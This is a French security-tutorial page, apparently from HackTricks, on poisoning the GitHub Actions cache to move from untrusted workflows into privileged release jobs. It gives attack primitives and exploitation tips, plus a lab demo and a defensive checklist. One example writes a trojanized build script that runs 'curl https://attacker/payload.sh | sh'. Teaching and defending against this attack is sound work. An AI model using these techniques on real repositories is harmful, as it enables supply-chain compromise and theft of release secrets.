GH Actions - Cache Poisoning

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Aperçu

Le cache GitHub Actions est global Ă  un dĂ©pĂŽt. Tout workflow qui connaĂźt une cache key (ou restore-keys) peut alimenter cette entrĂ©e, mĂȘme si le job n’a que permissions: contents: read. GitHub ne segmente pas les caches par workflow, type d’évĂ©nement ou niveau de confiance, donc un attaquant qui compromet un job Ă  faibles privilĂšges peut empoisonner un cache que rĂ©cupĂ©rera ensuite un job de release privilĂ©giĂ©. C’est ainsi que la compromission d’Ultralytics a pivotĂ© d’un workflow pull_request_target vers le pipeline de publication sur PyPI.

Primitives d’attaque

  • actions/cache expose Ă  la fois des opĂ©rations de restore et de save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). L’appel de save est autorisĂ© pour tout job sauf les workflows pull_request vraiment non fiables dĂ©clenchĂ©s depuis des forks.
  • Les entrĂ©es de cache sont identifiĂ©es uniquement par la key. Des restore-keys larges facilitent l’injection de payloads car l’attaquant n’a qu’à provoquer une collision sur un prĂ©fixe.
  • Les cache keys et versions sont des valeurs spĂ©cifiĂ©es par le client ; le service de cache ne vĂ©rifie pas qu’une key/version corresponde Ă  un workflow de confiance ou Ă  un chemin de cache.
  • L’URL du serveur de cache + le runtime token ont une durĂ©e de vie longue par rapport au workflow (historiquement ~6 heures, maintenant ~90 minutes) et ne sont pas rĂ©vocables par l’utilisateur. Depuis fin 2024 GitHub bloque les Ă©critures de cache aprĂšs la fin du job d’origine, donc les attaquants doivent Ă©crire tant que le job est encore en cours ou prĂ©-empoisonner des clĂ©s futures.
  • Le systĂšme de fichiers mis en cache est restaurĂ© tel quel. Si le cache contient des scripts ou des binaires qui sont exĂ©cutĂ©s ensuite, l’attaquant contrĂŽle ce chemin d’exĂ©cution.
  • Le fichier de cache lui-mĂȘme n’est pas validĂ© lors du restore ; c’est simplement une archive compressĂ©e en zstd, donc une entrĂ©e empoisonnĂ©e peut Ă©craser des scripts, package.json ou d’autres fichiers sous le chemin de restore.

Exemple de chaüne d’exploitation

Le workflow Author (pull_request_target) a empoisonné le cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow a été restauré et a exécuté le poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Le deuxiĂšme job exĂ©cute maintenant du code contrĂŽlĂ© par l’attaquant tout en disposant des identifiants de release (PyPI tokens, PATs, cloud deploy keys, etc.).

Mécanique du Poisoning

Les entrées du cache GitHub Actions sont généralement des archives tar compressées avec zstd. Vous pouvez en créer une localement et la téléverser dans le cache :

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

Sur un cache hit, l’action de restauration extrait l’archive telle quelle. Si le chemin du cache contient des scripts ou fichiers de configuration qui seront exĂ©cutĂ©s plus tard (outils de build, action.yml, package.json, etc.), vous pouvez les Ă©craser pour obtenir l’exĂ©cution.

Conseils pratiques d’exploitation

  • Ciblez les workflows dĂ©clenchĂ©s par pull_request_target, issue_comment ou des commandes de bot qui enregistrent encore des caches ; GitHub leur permet d’écraser des clĂ©s couvrant le dĂ©pĂŽt mĂȘme lorsque le runner n’a qu’un accĂšs en lecture au repo.
  • Recherchez des clĂ©s de cache dĂ©terministes rĂ©utilisĂ©es au-delĂ  des frontiĂšres de confiance (par exemple, pip-${{ hashFiles('poetry.lock') }}) ou des restore-keys permissifs, puis enregistrez votre tarball malveillant avant que le workflow privilĂ©giĂ© ne s’exĂ©cute.
  • Surveillez les logs pour des entrĂ©es Cache saved ou ajoutez votre propre Ă©tape de sauvegarde de cache afin que le job de release suivant restaure la charge utile et exĂ©cute les scripts ou binaires trojanized.

Nouvelles techniques observées dans la chaßne Angular (2026)

  • Cache v2 “prefix hit” behavior : Dans Cache v2, des misses exacts peuvent tout de mĂȘme restaurer une autre entrĂ©e partageant le mĂȘme prĂ©fixe de clĂ© (effectivement “all keys are restore keys”). Les attaquants peuvent prĂ©-semer des clĂ©s quasi-collision pour qu’un futur miss retombe sur l’objet empoisonnĂ©.
  • Forced eviction in one run : Depuis le 20 novembre 2025, GitHub Ă©vince les entrĂ©es immĂ©diatement lorsque l’utilisation du cache du dĂ©pĂŽt dĂ©passe la limite (10 GB par dĂ©faut). Un attaquant peut d’abord tĂ©lĂ©verser des donnĂ©es de cache inutiles, Ă©vincer les entrĂ©es lĂ©gitimes pendant le mĂȘme job, puis Ă©crire la clĂ© de cache malveillante sans attendre le cycle de nettoyage quotidien.
  • setup-node cache pivots via reusable actions : Les actions rĂ©utilisables/internes qui enveloppent actions/setup-node avec cache-dependency-path peuvent relier silencieusement des workflows Ă  faible confiance et Ă  haute confiance. Si les deux chemins hachent vers des clĂ©s partagĂ©es, empoisonner le cache de dĂ©pendances peut s’exĂ©cuter dans l’automatisation privilĂ©giĂ©e (par exemple les jobs Renovate/bot).
  • Chaining cache poisoning into bot-driven supply chain abuse : Dans le cas Angular, le cache poisoning a exposĂ© un PAT de bot, qui a ensuite permis de force-push des heads de PR appartenant au bot aprĂšs approbation. Si les rĂšgles de remise Ă  zĂ©ro des approbations exemptent les acteurs bot, cela permet de remplacer des commits revus par des commits malveillants (par exemple imposter action SHAs) avant le merge.

##Ă„ Cacheract

Cacheract est un toolkit orientĂ© PoC pour le cache poisoning de GitHub Actions dans le cadre de tests autorisĂ©s. Sa valeur pratique est d’automatiser les parties fragiles faciles Ă  rater manuellement :

  • DĂ©tecter et utiliser le contexte runtime du cache depuis le runner (ACTIONS_RUNTIME_TOKEN et l’URL du service de cache).
  • ÉnumĂ©rer et cibler les clĂ©s/versions candidates de cache utilisĂ©es par les workflows en aval.
  • Forcer l’éviction en saturant le quota de cache (lorsque pertinent) puis Ă©crire des entrĂ©es contrĂŽlĂ©es par l’attaquant dans la mĂȘme exĂ©cution.
  • Semer du contenu de cache empoisonnĂ© pour que les workflows ultĂ©rieurs restaurent et exĂ©cutent des outils modifiĂ©s.

Ceci est particuliĂšrement utile dans les environnements Cache v2 oĂč le timing et le comportement des clĂ©s/versions importent davantage que dans les premiĂšres implĂ©mentations du cache.

Démo

N’utilisez ceci que dans des dĂ©pĂŽts que vous possĂ©dez ou que vous ĂȘtes explicitement autorisĂ© Ă  tester.

1. Vulnerable workflow (untrusted trigger can save cache)

Ce workflow simule un anti-pattern pull_request_target : il Ă©crit du contenu de cache depuis un contexte contrĂŽlĂ© par l’attaquant et l’enregistre sous une clĂ© dĂ©terministe.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Workflow privilégié (restaure et exécute un binaire/script mis en cache)

Ce workflow restaure la mĂȘme clĂ© et exĂ©cute toolchain/bin/build tout en dĂ©tenant un secret factice. Si le cache est empoisonnĂ©, le chemin d’exĂ©cution est contrĂŽlĂ© par l’attaquant.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Exécuter le labo

  • Ajoutez un fichier stable toolchain.lock afin que les deux workflows rĂ©solvent la mĂȘme cache key.
  • DĂ©clenchez untrusted-cache-writer depuis un PR de test.
  • DĂ©clenchez privileged-consumer via workflow_dispatch.
  • Confirmez que POISONED_BUILD_PATH apparaĂźt dans les logs et que /tmp/cache-poisoning-demo.txt est créé.

4. Ce que cela démontre techniquement

  • Rupture de confiance du cache entre workflows: Les workflows writer et consumer n’ont pas le mĂȘme niveau de confiance, mais ils partagent le mĂȘme namespace de cache.
  • Risque d’exĂ©cution lors de la restauration: Aucune validation d’intĂ©gritĂ© n’est effectuĂ©e avant d’exĂ©cuter un script/binaire restaurĂ©.
  • Abus de clĂ©s dĂ©terministes: Si un job Ă  haute confiance utilise des clĂ©s prĂ©visibles, un job Ă  faible confiance peut prĂ©positionner du contenu malveillant.

5. Checklist de vérification défensive

  • SĂ©parer les clĂ©s selon la frontiĂšre de confiance (pr-, ci-, release-) et Ă©viter les prĂ©fixes partagĂ©s.
  • DĂ©sactiver les Ă©critures de cache dans les workflows non fiables.
  • Hacher/valider le contenu exĂ©cutable restaurĂ© avant de l’exĂ©cuter.
  • Éviter d’exĂ©cuter des outils directement depuis les chemins de cache.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks